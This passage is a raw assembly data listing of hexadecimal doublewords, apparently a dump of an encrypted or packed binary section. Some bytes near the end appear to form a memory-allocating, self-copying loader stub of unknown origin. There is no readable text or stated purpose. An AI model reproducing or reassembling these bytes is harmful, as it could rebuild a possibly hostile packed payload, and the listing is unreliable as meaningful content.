		dd 0D8416041h, 9447D8BCh, 35C92FFEh, 1625C14h, 0DC432743h
		dd 0C92FFE1Dh, 0FE7823BCh, 7051C92Fh, 0F66F2706h, 0DA3FEB90h
		dd 1F4196Ah, 6158Bh, 27EE3900h,	0A8C93094h, 0A457C808h
		dd 25C93094h, 0DE412504h, 0CF7B4E82h, 0B886E2C3h, 0A51F864Bh
		dd 0C2231D3Ch, 0EE8A2302h, 84CC70D0h, 1BC849BAh, 4A58CD85h
		dd 0E084E0C1h, 0B3D72992h, 8F102BFBh, 0C2E5D9CCh, 0D94DCFDh
		dd 0A6EA74Bh, 2A074395h, 6A382C9h, 7DED32CAh, 0CC3DA930h
		dd 2600000Bh, 97A900BCh, 221CB52Fh, 89B71EBEh, 330DA418h
		dd 0E4C66FD5h, 0FE66C03Ch, 46FE6957h, 0CA72D1EFh, 7CE85D63h
		dd 6AF591D5h, 0C2E5D3AFh, 4FFC4E18h, 501471D6h,	6DD6E871h
		dd 0EF506EF7h, 7AEAD44Dh, 423953CAh, 790264D8h,	0AFDC48ADh
		dd 631901F4h, 0AB000005h, 76129B37h, 7B4EAEE9h,	0CE7F0DCFh
		dd 7D91280Dh, 0CBEA9CD4h, 8C3091AFh, 259EA0C4h,	82E5DBBFh
		dd 2655BC2h, 822B6342h,	0F99D47BCh, 8CF95EC7h, 4160F9D8h
		dd 480F9009h, 6BC2E668h, 0F86BF055h, 0DDFC6544h, 0F63FD395h
		dd 95AB0D92h, 3B1AC92Ah, 0EDA44C9Eh, 0BF2BB27Dh, 0B1Bh
		dd 0E44DEF55h, 53FA6ADAh, 0EE47F56Dh, 64CD6FD0h, 0D178EC5Ah
		dd 0D53329F3h, 8DF8C66Fh, 0E1407ED7h, 77ECD27Bh, 442064CDh
		dd 0E5D220DBh, 4DFFA9C2h, 0F76ED64Fh, 8CE85CC9h, 68138CE8h
		dd 61C93094h, 941CDF40h, 8CADC930h, 94C477E8h, 2405C930h
		dd 0E893F56Ch, 0AF6DD93Eh, 8CB201F4h, 0BFEFA715h, 4A2h
		dd 942CEE0Dh, 5ADC930h,	2173EC88h, 58CF7B4Fh, 0FB5D012Ah
		dd 7B5A1935h, 1FC4211Fh, 81A039A3h, 3FA0C4A0h, 0C2E68B7Ch
		dd 8D246C4Dh, 0A071D7E9h, 0C4F05D10h, 0EF7657DBh, 4BB886CEh
		dd 469843DCh, 1031C2E6h, 42EEA831h, 3591AFCBh, 0AA8B3190h
		dd 331986E2h, 0BAC92A72h, 0C0E63E9Bh, 0B52C7DEDh, 0A5221h
		dd 8636AC00h, 0FB5112Fh, 0B42898A6h, 1EBE231Dh,	0A51F89B7h
		dd 16062E0Ch, 0A39D34B0h, 17298044h, 0A79930ACh, 6B2F863Eh
		dd 0D1E9900Fh, 0B4E2C2E5h, 71D64F06h, 0E8C95014h, 56C9ADC9h
		dd 0C93094A3h, 0CC3B0524h, 0F7C95018h, 514FD68Eh, 0B213002Ah
		dd 39AD9B32h, 0FA01F4B3h, 15Ch,	9C40A09Eh, 0D64F66D4h
		dd 0C4C16E3Dh, 2145FCEAh, 3066FBBEh, 0CCEDCCC9h, 4AFA6B55h
		dd 800DA5E3h, 88897BE4h, 0A0D2CF74h, 0A65E327Ah, 2B5D1512h
		dd 490C930Ah, 4BC2EC55h, 0A501E630h, 4EFBB070h,	60h, 2FAC142Ah
		dd 0B19009B3h, 156AD890h, 942BEE71h, 118EC930h,	0C930946Ah
		dd 15344263h, 3E771B5Dh, 41FB645Ah, 0D5B1F9D8h,	749FB04Ah
		dd 0CD350BCFh, 2351276Fh, 4C7BC393h, 1BCDA2B6h,	5A5BBD37h
		dd 5CC35A7Bh, 0C2EC4299h, 51B6601Bh, 0FBB061F5h, 0A93Eh
		dd 0A13E5A00h, 0C2EC4DFAh, 8BAF2D3h, 0F76ED64Fh, 893BAD93h
		dd 0C489FFC1h, 4766FF5Dh, 64C1FF66h, 0F9D884FFh, 7FE55E60h
		dd 0BF9749D6h, 57EC930h, 0E47DDF40h, 294DE4C5h,	6927D24Dh
		dd 81A0C930h, 0AAE38FC9h, 0F6251CEh, 0FF9BCF77h, 0EA06B960h
		dd 123312C2h, 66DE4876h, 2D97F1CFh, 0A52B2688h,	5DC9507Bh
		dd 8F7h, 0A91371h, 0B71EC63Eh, 0AA31989h, 0B811CB34h, 0DA42086h
		dd 0B117052Fh, 41A49A33h, 0AD142A83h, 2B98A60Fh, 305410B9h
		dd 0E5CFECAFh, 398BDDC2h, 0C26BD94Fh, 74DD87FCh, 3CFF6210h
		dd 0CC2433E5h, 0D64F3684h, 5CC9F76Eh, 1B2541E8h, 3B928ADh
		dd 39ABB9Ah, 87FE6A22h,	4C000002h, 76129B37h, 74B8DFE9h
		dd 0B1102ECFh, 92B3920Bh, 6FE1940Bh, 0A8D3C2ECh, 30AFCB7Eh
		dd 0C2EC7089h, 0B22B990Ah, 68DBE593h, 0AB9DD5F4h, 0FBB08F3Bh
		dd 230F8h, 71154A00h, 30942BEEh, 0F5BD9CC9h, 3094B26Ah
		dd 3C7B09C9h, 84E9255h,	0E78BCD85h, 91F4CAAEh, 236B4AD3h
		dd 2D80D847h, 0ECCDCF7Bh, 974DB688h, 21A3003Eh,	5A0A7B45h
		dd 25CD8B12h, 39138CE8h, 0B0C92A25h, 15803491h,	0BF267DEDh
		dd 8162Bh, 4AF25000h, 0FB69DDE3h, 48F46C52h, 0FA62DFE1h
		dd 49FB6D53h, 0E25AC2E0h, 5769C084h, 0E3DD74F0h, 4B75DC80h
		dd 87C36ADAh, 0CFBD7CE3h, 580EC2E5h, 6ED64FEAh,	0E85CC9F7h
		dd 0A146F71h, 0FB400577h, 5249D0EAh, 30040ECDh,	0BF9EBFC9h
		dd 0F75CC9F7h, 73EED08Ch, 507150C9h, 2357CFF9h,	7E9C01F4h
		dd 2E000001h, 0F76ED64Fh, 8834AD93h, 46783011h,	0AACE67DDh
		dd 2AB33194h, 6D05430Bh, 57A4420h, 47FD6957h, 0D3B7FFDEh
		dd 74B5564Ch, 67DBE5CFh, 0EACBBDF5h, 7429EC73h,	0D0ABC2ECh
		dd 8F85E146h, 60AEFBB0h, 0CA000000h, 7C8A31AEh,	6243C2ECh
		dd 7115982Ah, 30942BEEh, 0F5BD9CC9h, 0F2961FB3h, 74ED57CCh
		dd 7EFE2755h, 0D45191E8h, 0A29CF89Ch, 0A259C641h, 2BC92FD4h
		dd 93B22B0Ah, 0DFB644DBh, 3617CF73h, 55FA6C52h,	1B5372F2h
		dd 0C95A1D82h, 215AC2EBh, 47C42F5h, 0A8E0C158h,	0AFE8269Eh
		dd 0B0CFFBh, 4F7D0000h,	340A6ED6h, 0C55C14D0h
		dd 4ED78DFBh, 0C8511370h, 0B23292ACh, 0E55FC4FAh, 585A284Ch
		dd 32536CB0h, 0A749D69Eh, 6EC93003h, 0E6950AF5h, 0E7C92FE2h
		dd 0BD83E7C6h, 76DF9745h, 950AA030h, 0BE9FBE27h, 0CCCCBEDAh
		dd 0D4F204D4h, 979A054Dh, 50CF7660h, 0BD2B1571h, 0E65D6307h
		dd 86CEEF76h, 0DB7112Fh, 0A5D912A8h, 49DD447Bh,	6A3h, 5CF567DDh
		dd 0EB420262h, 66CF6DD5h, 0DC75E758h, 69C084E2h, 0D7BE14Bh
		dd 65C0FE57h, 0F96856FFh, 6FD4EA43h, 7C185CF5h,	0E5CE38E3h
		dd 75C791C2h, 0F6BD94Fh, 0F899227Dh, 3A72E3CFh,	8C38AD93h
		dd 0D64F9725h, 0AD93F76Eh, 0F1CF8735h, 0E968394h, 84EA0138h
		dd 0B69745BAh, 308B1Fh,	9DEF0000h, 157398A3h, 651736AFh
		dd 80C86F2Fh, 0BC2B1532h, 57E4008h, 9CA2C65Fh, 425BC28h
		dd 5311724Ch, 30FA81CAh, 4BE262C3h, 1FDFh, 0D64F6D00h
		dd 9405B42Bh, 0E7C6C930h, 6FF66ED9h, 69F66F4Eh,	0C93094AFh
		dd 72DF4B30h, 48FA5311h, 818C6715h, 0D37AAC7Ah,	8440A59Bh
		dd 7EB75B1Dh, 4C0241Ah,	90F4BC9Dh, 7B23FD0Fh, 89EDCCCFh
		dd 0DE964EB7h, 0A51F84BAh, 56D1320Ch, 0E60312C9h, 0BB9ABBC2h
		dd 9784622h, 0B55D1B53h, 2F7A23Dh, 2B98C2E6h, 770120B9h
		dd 61137756h, 89B40C56h, 284C0425h, 305E16B7h, 79E9D7C9h
		dd 1F7B5AC3h, 3049D980h, 0F2D3F2C9h, 0AE6DF296h, 1FC9304Ah
		dd 0DC66E66Dh, 2E0F5DC4h, 0C73C0266h, 0EED0B41Dh, 7756CF75h
		dd 3FA4013Fh, 0A4851CC8h, 1A85E185h, 0C92FD05Fh, 0D036E57Ah
		dd 0B697C92Fh, 1593E1C0h, 0AD1E19BCh, 682EB7FFh, 551F1EC8h
		dd 3A8F91BDh, 36E07F1Bh, 97CF7466h, 0F39313B6h,	70E97BA7h
		dd 532E4h, 66D64C00h, 2F95F1CFh, 9448B886h, 3E9E033Dh
		dd 853FA997h, 36260E2Ch, 83BD14D0h, 3709A024h, 87B910CCh
		dd 4B0FA61Eh, 0CC09B02Fh, 94C2C2E5h, 0BD2B1526h, 1233A918h
		dd 45FF645Ah, 0F371D2ECh, 75EF546Ah, 9D89F2ECh,	389153B0h
		dd 0F4B3960Eh, 900F6B01h, 0C9309FE9h, 0F08636AAh, 7BC999D1h
		dd 7B000000h, 76129B37h, 8C9E004h, 0B11115ABh, 92B3920Bh
		dd 0CB21BEDAh, 2CF74A2h, 8642F966h, 699C2ECh, 0C2EC8653h
		dd 2235574h, 0A794723h,	4A6BD94Dh, 86BB7CE3h, 0E340C2ECh
		dd 7859037Eh, 1FC4221Ch, 86A73EA6h, 676DD5A7h, 1B1C8275h
		dd 5DC4FA53h, 1B7625BAh, 7657C2ECh, 48BCA004h, 0BD9C4319h
		dd 0B5324024h, 0BF527FDDh, 0FC60C1FFh, 980C4465h, 45Bh
		dd 0E262C2FCh, 0D64F18AAh, 5CC9F76Eh, 6B0741E8h, 50224622h
		dd 51C3D53Dh, 0F16E262Bh, 0CF748F13h, 6DF26B4Ah, 0C2EC8EAAh
		dd 60C5512Ah, 0FBB0AA04h, 5531h, 9B378300h, 53E97612h
		dd 0A8CF749Fh, 5C1EFDAh, 3F90A46Ah, 0D331C11Dh,	299DA382h
		dd 0A485F3BBh, 0FA67593Dh, 71D47111h, 1B3A33A9h, 74EBA382h
		dd 0C2EBDEC1h, 0FA695733h, 57057C42h, 0DCA7EFCEh, 0FD79ED52h
		dd 0E5BAFBAFh, 0DE000000h, 0EA7625BAh, 7657C2EBh, 71158C3Eh
		dd 22DE03h, 0E778DF05h,	0C92FDD34h, 0C2FCB495h,	0DA8AFC61h
		dd 0DA436243h, 5BC282E4h, 0DD440065h, 6BC282E3h, 2FE13AF4h
		dd 330D69C9h, 0CE8D12D2h, 0B7C92FDFh, 0C7E6904Ch, 9054B18Fh
		dd 399E0739h, 0AD3415CFh, 72D147EBh, 0FA6D53CAh, 0D3F2D34Ah
		dd 770996F2h, 56CF7402h, 0F898DE77h, 4546D9BDh,	86C932A7h
		dd 0C3A7C3A7h, 2E569D5Ch, 470F2EC9h, 31550F79h,	560FCA55h
		dd 95F0C92Eh, 0E197B62Fh, 0DC88FEC0h, 0A5033D94h, 9B0C9A3Fh
		dd 0E37A7DE1h, 33A77h, 0EE4EB400h, 570D7947h, 0FC60C0FEh
		dd 46F66B55h, 0CD77D1EFh, 7EDE4664h, 0CBF55C08h, 7F41E85Ch
		dd 0CFF15804h, 347EE56h, 0CB41F867h, 0DC8AC2E5h, 6BD94F6Eh
		dd 2798A6C2h, 330D2CB5h, 1B256DCFh, 21933AAAh, 96419B37h
		dd 3B5B3469h, 4E0D92F6h, 7FC92FFAh, 841B7F5Eh, 0CF7404F6h
		dd 0AC92F6D7h, 59C08834h, 0EC030FC6h, 30FA81C2h, 0B0225BCBh
		dd 78DEACFBh, 5AD2947Eh, 0A5E17F0Dh, 0E04853Dh,	0D41646h
		dd 4FA40000h, 780A6ED6h, 0CF51477Fh, 0D1480001h, 52CB79EFh
		dd 65014436h, 5ABFDC2Fh, 6311E6AAh, 87B97B04h, 1A3BA21Ah
		dd 3603CD52h, 2250C930h, 0A92B31C1h, 10704E95h,	69DAE4ACh
		dd 0F76C52FBh, 0FE92D44Dh, 0D3B7D3B7h, 2FC48D4Ch, 571F3EC9h
		dd 73E636C8h, 7EE185CFh, 0C2EBA2BBh, 11D3320Ch,	300E7830h
		dd 553110D4h, 0D45F76Bh, 0C74EE2A4h, 47D03CA3h,	3C1DC932h
		dd 58FD6658h, 0CE5776EEh, 0FDC3A7EFh, 83BDD98Bh, 1839A024h
		dd 61C7F950h, 0F2DA46E3h, 59C07DE1h, 21ACDh, 4EEE5400h
		dd 0F76DD9E7h, 5C00605Eh, 0E656CBF5h, 0AD17714Fh, 1EFE2604h
		dd 0AB953CA8h, 1F21883Ch, 0AF9138A4h, 63278E36h, 0C8E19807h
		dd 0BCEAC2E5h, 6BD94F0Eh, 0DD87FCC2h, 0D64FC674h, 5CC9F76Eh
		dd 67F41E8h, 2C5E3A5Eh,	0EADBF55Dh, 8930AFC9h, 42C93071h
		dd 0C35A0A7Ch, 128BC3E2h, 30D94876h, 6D41B07Fh,	0B7FFDEF9h
		dd 0B0D461F1h, 7466ED2Fh, 84E2DCCFh, 0F785E1C0h, 556D49A1h
		dd 4FD69E7Fh, 75E24C37h, 54305410h, 0EC6610CBh,	2C90F1C2h
		dd 0C3E294B5h, 42DB89FDh, 0E6822B63h, 0BCF468D8h, 0BBDF56FAh
		dd 30741E24h, 0EE9FEDC9h, 0EC80803h, 0F195E3ABh, 3042AB6Eh
		dd 71EB54C9h, 0AE182607h, 0AF8EAF36h, 299B0836h, 0FA138EB0h
		dd 4190023Ch, 2CB5945Fh, 960FAD12h, 0B38995EEh,	0C29783F8h
		dd 0E783E72Eh, 2F96C178h, 61E342C9h, 4B82917h, 96096D25h
		dd 0CF73A38Ch, 0FBC56C4Dh, 0E05CC58Ah, 0E0795879h, 60F963DEh
		dd 0B76318h, 0F20B2A72h, 0D24D9691h, 0C2EBC927h, 0E8A081A0h
		dd 5EF76DD6h, 1AC15E3Ah, 0B3C2EBC9h, 0F49CDA92h, 26B9DDB9h
		dd 0C2EBC973h, 0ECAF3054h, 0DDC2EBC8h, 84E3DDFCh, 307859C0h
		dd 0CB543054h, 0C2EBC910h, 4FD098B9h, 0C92FD00Dh, 8F3590AEh
		dd 0F490B1C7h, 0C74C0F90h, 5C7DC92Fh, 52B38D14h, 17730B92h
		dd 0A81DBA29h, 0A5841D3Ch, 0D78C96EDh, 996F23Bh, 0CF73CDD3h
		dd 68138CE8h, 61C2EBC9h, 5B017E40h, 0DDABE3C2h,	7F1355FCh
		dd 0C7CD5236h, 6C93683h, 8F16CE38h, 28168FAEh, 96D09BBh
		dd 2222E396h, 8DC5E4C9h, 3BA91A24h, 4004615Fh, 0C17BE7D9h
		dd 5531A8E0h, 1871527h,	337BCA0Ah, 457E8BACh, 53214500h
		dd 0A91F0C17h, 255E1617h, 3DA71CF9h, 0AE2B59h, 16DBE320h
		dd 5CC9F75Eh, 0D24F71E8h, 0F08BF36Ah, 0E85CC926h, 5E067F41h
		dd 0AA3A483Ah, 49D3FA2h, 583D5725h, 138EDFC9h, 446572B0h
		dd 801950Ch, 0B3000000h, 0AF132D49h, 4FF7450Dh,	0C0FE67D5h
		dd 4678E163h, 0C6F861DBh, 427CE55Fh, 0C7F960E4h, 447AE361h
		dd 0C6F861DBh, 457BE25Ah, 0EDFA63E1h, 0D68h, 24148900h
		dd 1AA868h, 24048900h, 81E78957h, 4C7h,	4EF8100h, 87000000h
		dd 895C243Ch, 36B82434h, 57109B41h, 0AF7A26BFh,	5FF801F5h
		dd 1CD468h, 24248900h, 4240483h, 8B9515Eh, 1000000h, 2C8150F1h
		dd 0DD114F24h, 81018F74h, 0DD114F01h, 348B5974h, 0E7895724h
		dd 4C781h, 0C7810000h, 4, 5C243C87h, 582434FFh,	4C481h
		dd 3FE90000h, 0B4FFF9B1h, 0B88D4C24h, 64ACD5Ah,	0E0FFC503h
		dd 6C23518Dh, 748FAF6Fh, 39DEDAFCh, 22CFA70Ah, 76EED5C2h
		dd 5989F6C9h, 1201DD29h, 7ED13521h, 419DC935h, 751259Dh
		dd 2459161h, 2538F64Ah,	74DFA2Dh, 12FA505h, 609287AFh
		dd 5E5BFA1Ch, 116E717Ch, 2631DBF6h
		dd 0C91346Fh, 56FB496Fh, 2E67684Eh, 6E194A29h, 0D165C48h
		dd 773D0C1h, 10E8h, 0E2850700h,	8660A79Eh, 4CDFF07Eh, 0E9B87E7Eh
		dd 5444BB74h, 0B958727Ah, 16AC7BA2h, 5970C081h,	7E90000h
		dd 7C000000h, 0E9F63EBCh, 2E688D0Ah, 0E9000016h, 0Ch, 0A1622F02h
		dd 6287048Ah, 234E89C9h, 0C228BB5Fh, 308B7A30h,	0EE9h
		dd 26498800h, 0DE589A63h, 0BA1337B4h, 819A4CBBh, 0B562E8EEh
		dd 6E937h, 0F1B00000h, 9CC92F4Fh, 1FEEF681h, 0E78036B8h
		dd 4EC681F7h, 0B363030Dh, 0C680568Dh, 0BA008FABh, 67ECCDFBh
		dd 0CDDAE881h, 8B6613E4h, 0D6C081CFh, 8113E4CDh, 1EFh
		dd 0A3850F00h, 0E9FFFFFFh, 11h,	0BE2A9497h, 75848EABh
		dd 425FE4EBh, 741473BEh, 0CA8D8D8Dh, 6A064ACFh,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 21D3C356h, 0AD9529BFh, 89064425h, 442F5D8Dh,	0CEE78006h
		dd 67985C7h, 5B9C0644h,	33F50000h, 4403F5B5h, 7185C706h
		dd 64410h, 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 0E976C351h, 11h, 6F139AC4h, 0DBD7A22h
		dd 0A65B4762h, 5802E683h, 0DDB5FFF6h, 6A064408h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 0D62CC353h, 9D295B6Ch, 644143Dh, 8EE78166h, 0F995FF67h
		dd 906440Bh, 440845B5h,	0FF006A06h, 441C4D95h, 0EBC08B06h
		dd 3994BC7Ch, 8F4104Ch,	0E8D260Bh, 0F74A5380h, 56DE6A8Fh
		dd 543FBA4Fh, 33CB7D5Bh, 7FBFED3Ah, 0CB1F4BF8h,	318F2495h
		dd 301D95DAh, 6D24036Bh, 0FAB58A08h, 3ED50225h,	0FA788A6Dh
		dd 2E0BF00Ah, 9AA192C1h, 921CC58Eh, 409E25CEh, 0F3D9D7D8h
		dd 5575968Fh, 0CF825986h, 0B9B5C3E4h, 0AEF67D7Ch, 311246B5h
		dd 0FDB8E2E7h, 0ED6B9AECh, 74238F26h, 27E64E02h, 0F8AC148Bh
		dd 0BC5EEEh, 7E8EEh, 4ECB0000h,	0ABCBF50Dh, 0E18D0B45h
		dd 5F06440Dh, 8170D780h, 71F6C7h, 29BD8900h, 68064425h
		dd 1C5Ch, 9D1EC081h, 0E95A49E3h, 0Dh, 5B4A5F5Ch, 1C926A5Bh
		dd 8A6A03F1h, 80378B1Fh, 0F68187C9h, 74A30018h,	2AB5852Bh
		dd 0EE810644h, 6FA08908h, 18759589h, 0F6810644h, 19059ECFh
		dd 3789E7B4h, 0CF19D89h, 0EF830644h, 4800F02h, 56000000h
		dd 4F585952h, 0EA81F84Fh, 1, 0FFB7850Fh, 0B589FFFFh, 6441FB9h
		dd 8EBh, 0D1070000h, 88E97E01h,	68000004h, 64AD1E2h, 0F9AE25E9h
		dd 0D26768FFh, 1BE9064Ah, 68FFF9AEh, 64AD3A1h, 0F9AE11E9h
		dd 62DA48FFh, 0D391F5CBh, 60DC447Ah, 0D28AF7C9h, 61E3457Bh
		dd 0DA42EAC8h, 6F51F86Ch, 0DBE54CF8h, 635DF468h, 0AFEB4202h
		dd 0C3A554CBh, 7026C2E5h, 6BD94FC2h, 0ED57CCF2h, 1AC2FB89h
		dd 0F92FEF14h, 0C5B72F16h, 92E0F787h, 8811E30Bh, 3891D929h
		dd 3F5BD27Eh, 73BD72A0h, 138AABCFh, 0EBBAC98Ch,	66B0CBC2h
		dd 0AFDA2581h, 2B5CEFBh, 0D8AA0000h, 121D020Bh,	81337B32h
		dd 9BB2B15h, 0DFEF241h,	0D34C2865h, 0CF74970Dh,	4B7284Ch
		dd 0C5C2EC92h, 0E185C5E4h, 0B1F963DFh, 51F8E02Eh, 348111C0h
		dd 5D85CF50h, 0A0C4D453h, 0CB4B7C3Fh, 4D6C4DCBh, 0B7FE92D4h
		dd 0C676EDD3h, 2775EA8Eh, 66D20F86h, 0C2353614h, 6B4A87F3h
		dd 10D4310Fh, 0A61E87B9h, 0C2EDF603h, 1F8B1286h, 2E5h
		dd 2C8537ADh, 9B32B212h, 369F3DA5h, 8C259708h, 399054B2h
		dd 0BD2B111Bh, 3590AE07h, 0A918268Fh, 3FA49A33h, 0C682C85h
		dd 0E5C2E893h, 5B7E1C2h, 76129B37h, 7B650AE9h, 66243CFh
		dd 3245CE38h, 450DD879h, 0B1E1FC23h, 42ACEDC3h,	0CAAECA63h
		dd 0E5DFA655h, 0AC1927C2h, 0A180A138h, 0F371D7E9h, 873DA997h
		dd 0EE773F1Eh, 98FF88Ah, 93586261h, 39044DBh, 2085C2E6h
		dd 0D1FA01A4h, 0B32A8456h, 26027h, 2BA2800h, 0B33195ABh
		dd 0BC241Ah, 0B22A97A9h, 1C3251Bh, 0BAA28AA8h, 0F31984Ch
		dd 0BB852C98h, 33D9448h, 0CF8B22A2h, 0C28534ABh, 1046C2E5h
		dd 129B37A2h, 650AE976h, 6243CF7Bh, 64FB9FFBh, 0C2E5C4B5h
		dd 0E079E35Eh, 0DE96B7C1h, 0E5C49641h, 0B17D06C2h, 0A9DFD84Ch
		dd 1651DFBh, 4FAF0000h,	3BF33DD6h, 18328B4Fh, 259EA039h
		dd 0C05016BFh, 4B751175h, 0ED5668DCh, 87CFEE77h, 74962A18h
		dd 1B82A3CFh, 42BD0D7Fh, 0F8623275h, 14665EE3h,	347CCBA1h
		dd 0EBB9ECABh, 0B13395C2h, 70AF1628h, 0EBBA2CEFh, 9DBC9DC2h
		dd 1B077C04h, 111D6621h, 0AFD5B82Ch, 387DFBh, 27190000h
		dd 0BB9A03C1h, 0A8727AC9h, 0F5BDC1FAh, 129B3747h, 9F53E976h
		dd 9BBACF74h, 55049BFFh, 76C2EC89h, 19861F57h, 0C2EC895Eh
		dd 14F9255Eh, 0FBB0A8B0h, 8845h, 0D64FF700h, 9405B42Bh
		dd 0E7C6C930h, 7615FC6h, 89FAC45Dh, 77C42DBh, 8A6BF45Dh
		dd 8BC93099h, 4503AA1Ah, 9B0460ADh, 0CF773598h,	2A147051h
		dd 0C5A108BCh, 0E2FC14B7h, 0B6FE7F47h, 3A61E88h, 7BA5D5C2h
		dd 262BBF26h, 0EE000001h, 5F61C874h, 0EAD47DE7h, 516FC676h
		dd 0DBE54CF0h, 7C5EF76Dh, 66DE48B4h, 2E96F1CFh,	924AB987h
		dd 24A0053Bh, 32ADC98Dh, 0C2E5C187h, 4FA41640h,	0FCC26BD9h
		dd 1074DD87h, 4109B32Eh, 3DD64FF3h, 673727DBh, 5CC5E478h
		dd 4A100162h, 6CEFCE7Bh, 0B0F65F7Eh, 6EF19520h,	0CF74B9FCh
		dd 5B01615Fh, 0DDABE3C2h, 40A698FCh, 3B22D84h, 8CC2EC2Dh
		dd 0ADC9AD17h, 0EC2D8732h, 296140C2h, 9C48BE80h, 9F9105h
		dd 37230000h, 1276129Bh, 4872E860h, 0B9F1076Eh,	7B074F26h
		dd 0F591B0CFh, 0A2EA5ACBh, 3BA0053Bh, 0AD8C15C7h, 0AA1B258Ch
		dd 3E1FBD25h, 0FAA13E5Ah, 0D3C2E605h, 0BC23BAF2h, 3B310A96h
		dd 0A039A31Fh, 20B9239Eh, 0A20DB44h, 88A94B2Fh,	0AD9F8BF0h
		dd 75F082E6h, 1E2CBBFFh, 0B8621951h, 0D37AEA5Bh, 55CC78EDh
		dd 2B990F31h, 0E5DB93B2h, 5F1A857Ch, 684B2EA0h,	89F16849h
		dd 5ACB28F2h, 552743EAh, 3FA07F2Ch, 4B2EBE7Ch, 1F1E6C4Dh
		dd 2C90F162h, 6CD0330Dh, 3BA91A24h, 336A2h, 49840000h
		dd 67D54FFBh, 0E163C0FEh, 61DB4678h, 0E55FC6F8h, 60E4427Ch
		dd 0E361C7F9h, 61DB447Ah, 0E25AC6F8h, 63E1457Bh, 1168EDFAh
		dd 8900007Fh, 8957243Ch, 4C781E7h, 81000000h, 4EFh, 243C8700h
		dd 2434895Ch, 4E5868h, 243C8900h, 41FBB951h, 0D9F7569Dh
		dd 0C9814941h, 2189236Ah, 0EE68E981h, 8952A3A0h, 5AD689CAh
		dd 3C8B5459h, 4C48324h,	4FB95156h, 29417A0Dh, 5904244Ch
		dd 8108478Fh, 0D4F0847h, 34FF417Ah, 0C4815F24h,	4, 5324348Bh
		dd 0C381E389h, 4, 8704C383h, 0E95C241Ch, 0FFF9A9AAh, 0B88974E0h
		dd 64AD4ECh, 0E0FFC503h, 5346ED0h, 1EA6AC3h, 4000E341h
		dd 4ADBE0BCh, 7EE9608Dh, 29B97CBCh, 5C24B459h, 66FB0CA8h
		dd 0BE8h, 0FACD4B00h, 0FFB7E90Dh, 6F04B271h, 605FF08Bh
		dd 0DE9F5h, 19B40000h, 2BF4615Fh, 9B0ED60Eh, 61891D64h
		dd 58E8C781h, 680000h, 60000016h, 0FD0BF0Fh, 28Ch, 61DA8B00h
		dd 0CE9605Bh, 2D000000h, 0E80C6270h, 0A26DC649h, 61E73E0Fh
		dd 8A0F37FFh, 0Ch, 7E9h, 63070900h, 97C83685h, 0C28B5259h
		dd 0A0E9815Eh, 0B20F8DF8h, 0FF18148h, 81316816h, 0C70E4F0h
		dd 4CC18144h, 6630934Ah, 51D98ABEh, 94F6BA60h, 6060486Bh
		dd 0DE8B6661h, 78F6161h, 0A4EA8166h, 3EF836Fh, 814FC18Bh
		dd 0D26634C8h, 850F4B7Ch, 2Dh, 198B0Fh,	14E90000h, 0D1000000h
		dd 0ADC59948h, 0C32B5778h, 2942A032h, 5CDD6FD4h, 0E9372752h
		dd 19h,	0C2147109h, 0D5C3C4E3h,	0E98BB6F5h, 0FFFFFF6Ch
		dd 12DCE2Ah, 0E0AD7D5Dh, 0AE8DFh, 0D5F90000h, 1A83FA23h
		dd 45048049h, 605AD7B0h, 7E8h, 0E75C4000h, 0B51BE3A7h
		dd 14E9h, 55B38600h, 0C056F954h, 894E0F32h, 0D57CA95h
		dd 97312284h, 0F08B5823h, 0C0C28161h, 0F00005Fh, 585h
		dd 0E0816600h, 0F62BB50Ah, 3C8BCCB1h, 9878BB32h, 0C7814366h
		dd 47989E1Dh, 0B9E5D181h, 0F781772Fh, 57A02B5Bh, 8159F556h
		dd 88AEC4F7h, 67F18153h, 574CC227h, 0E9DA8B60h,	9, 29F058ACh
		dd 6CC3CD0Ah, 48F6116h,	0C6E78032h, 65E38166h, 1EE83CFh
		dd 8E9h, 2DEE9900h, 9E9AD121h, 4E4E4EAFh, 0A8E0Fh, 880F0000h
		dd 4, 0BDB7BB66h, 0A104FE81h, 850FFFFFh, 0FFFFFF8Ah, 382FCB81h
		dd 0C08B75BCh, 20CDBD83h, 75000644h, 25BD8309h,	6440Bh
		dd 53501974h, 21B8C08Bh, 89000004h, 4402F585h, 4F9D8D06h
		dd 0FF0646A8h, 83585BD3h, 440B25BDh, 17740006h,	21B85350h
		dd 89000004h, 4402F585h, 3E9D8D06h, 0FF0646A5h,	8B585BD3h
		dd 199D8BC0h, 0C6064425h, 4402E985h, 52685606h,	0FF9CA8B8h
		dd 4417E9B5h, 0AF858D06h, 0FF064777h, 68046AD0h, 1000h
		dd 1A59B5FFh, 6A0644h, 0C085D0FFh, 0D850Fh, 0B80000h, 8D000000h
		dd 44733A8Dh, 8BE1FF06h, 3C38BC8h, 0F8053C40h, 8B000000h
		dd 0D3030C50h, 879BD83h, 0F000644h, 0E84h, 799D8B00h, 8B064408h
		dd 44216585h, 51038906h, 88858D52h, 0FF064442h,	8BFA8BD0h
		dd 8BD18BF1h, 0C6A4F3C8h, 4402E985h, 39685606h,	0FFD41F6Dh
		dd 4417E9B5h, 0AF858D06h, 0FF064777h, 800068D0h, 6A0000h
		dd 8BD0FF52h, 0CDBD83C0h, 64420h, 0BD830975h, 6440B25h
		dd 50197400h, 0B8C08B53h, 421h,	22298589h, 9D8D0644h, 646A8B6h
		dd 585BD3FFh, 0B25BD83h, 74000644h, 0B8535017h,	421h, 22298589h
		dd 9D8D0644h, 646A557h,	585BD3FFh, 9D8DC08Bh, 6440879h
		dd 0C00B038Bh, 7840Fh, 38B0000h, 89045B8Bh, 4B41B818h
		dd 13E80000h, 43000000h, 28EE1A56h, 38D1EF61h, 5A3D1390h
		dd 0F15A1A1Ah, 0BA5FEC71h, 2C96AE6Eh, 72B2C781h, 0D6810000h
		dd 5BB95A85h, 0B9h, 8BD08B00h, 800F0F04h, 6, 95E1C681h
		dd 0E8817EBEh, 392BBDBAh, 8E96060h, 41000000h, 3684110Ch
		dd 0E9D50029h, 11h, 2E09BB0Dh, 575F5FD7h, 0B5C27EC8h, 285D7AC2h
		dd 8D0F6106h, 6, 860Fh,	81610000h, 953B1CC0h, 99C08167h
		dd 0FC5A6094h, 0F18B6650h, 660F048Fh, 607030BBh, 8B66C28Ah
		dd 0E98361FAh, 0E6BE6604h, 24F98165h, 0FFFFF8Eh, 1985h
